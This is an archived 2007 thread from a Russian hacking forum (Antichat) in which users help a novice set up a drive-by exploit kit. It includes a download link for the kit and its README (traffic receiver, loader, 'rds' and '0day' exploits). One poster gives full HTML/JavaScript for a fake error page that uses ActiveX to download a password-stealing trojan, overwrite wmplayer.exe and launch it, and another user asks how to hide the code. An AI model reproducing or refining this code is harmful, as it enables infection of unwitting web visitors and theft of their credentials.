ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

10.01.2007, 18:34
|
|
Участник форума
Регистрация: 02.06.2006
Сообщений: 241
Провел на форуме: 1703454
Репутация:
142
|
|
а этот ехе запустится после того как скачается или нах тада такие сплойты?
|
|
|

10.01.2007, 18:39
|
|
Познающий
Регистрация: 08.01.2007
Сообщений: 67
Провел на форуме: 242263
Репутация:
36
|
|
Сообщение от aka PSIH
Смеешся?
Green_Bear тебе дал ссылку на такой експлойт...
Блин ну почему сразу смеёшся =(
Заходил я по ентой сылке проходит скока там минуда или 30 сек и выходит ОШИБКА =(
|
|
|

10.01.2007, 18:44
|
|
Познающий
Регистрация: 08.01.2007
Сообщений: 67
Провел на форуме: 242263
Репутация:
36
|
|
Усе норм сплойт нашел тут: ---> http://rapidshare.com/files/9520519/sploit.rar.html
За сплойт всем пасибо!!!
парни еще немнохо вопросиков =)
Я тут в редми тыкался и чет никуя непонял некоторых вещей:
Код HTML:
Установка:
1) Скопируйте скрипты на сервер
2) Импортируйте sql.txt в mysql
3) Пропишите настройки в файле inc\config.php
4) Пустите трафф на index.php
Описание:
index.php - скрипт-приемник траффа
load.php - сюда стучит лоадер
exe.php - отсюда лоадер скачивает "exe"
loader.exe - лоадер (замените своим)
rds.js - сплоит rds
FolderIcon.js - сплоит 0day
stat.php - страница статистики.
Код HTML:
Плиз обьясните:
2) Импортируйте sql.txt в mysql
4) Пустите трафф на index.php <--- Как понять пустите траф?
Последний раз редактировалось *.exe; 10.01.2007 в 18:51..
|
|
|

10.01.2007, 18:56
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Пихаешь на сайт с хтмл файл index.html с содержанием :
Код:
<html>
<head>
<title>Error 404</title>
</head>
<body>
</body>
<p><span style="font-size: 11pt">Error 500</span></p>
<p><span style="font-size: 11pt">The page is incorrectly displayed</span></p>
<script language="javascript">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "ПУТЬ ДО ПИНЧА ИЛИ КСИНЧА",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\\\Program Files\\\\Windows Media Player\\\\wmplayer.exe",2);
location.href = "mms:%2f%2f";
</script>
</p>
</html>
Где ПУТЬ ДО ПИНЧА ИЛИ КСИНЧА там пишешь путь до пинча или ксинча.
|
|
|

10.01.2007, 19:18
|
|
Участник форума
Регистрация: 02.06.2006
Сообщений: 241
Провел на форуме: 1703454
Репутация:
142
|
|
ктото ответит на мой вопрос???
пс. и еще вапрос ат навичьга, имха эта палевна такой код могут замедедь, чем скрыть сорз ???
|
|
|

10.01.2007, 21:17
|
|
Познающий
Регистрация: 08.01.2007
Сообщений: 67
Провел на форуме: 242263
Репутация:
36
|
|
Сообщение от NOmeR1
Пихаешь на сайт с хтмл файл index.html с содержанием :
Код:
<html>
<head>
<title>Error 404</title>
</head>
<body>
</body>
<p><span style="font-size: 11pt">Error 500</span></p>
<p><span style="font-size: 11pt">The page is incorrectly displayed</span></p>
<script language="javascript">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "ПУТЬ ДО ПИНЧА ИЛИ КСИНЧА",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\\\Program Files\\\\Windows Media Player\\\\wmplayer.exe",2);
location.href = "mms:%2f%2f";
</script>
</p>
</html>
Где ПУТЬ ДО ПИНЧА ИЛИ КСИНЧА там пишешь путь до пинча или ксинча.
Примного благодарен СПС =)
А вот вопросик: Действительно када трой скачается он автоматом запустится?
|
|
|

10.01.2007, 21:37
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
Ответ в строчке :
location.href = "mms://";
Короче ДА.
|
|
|

11.01.2007, 04:04
|
|
Участник форума
Регистрация: 02.06.2006
Сообщений: 241
Провел на форуме: 1703454
Репутация:
142
|
|
а через вин плеер, так бы и сказали сразу!
|
|
|

11.01.2007, 12:06
|
|
Познающий
Регистрация: 08.01.2007
Сообщений: 67
Провел на форуме: 242263
Репутация:
36
|
|
Все парни всем большое спасибо за то что помогли разобратся!
тему можно закрывать.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|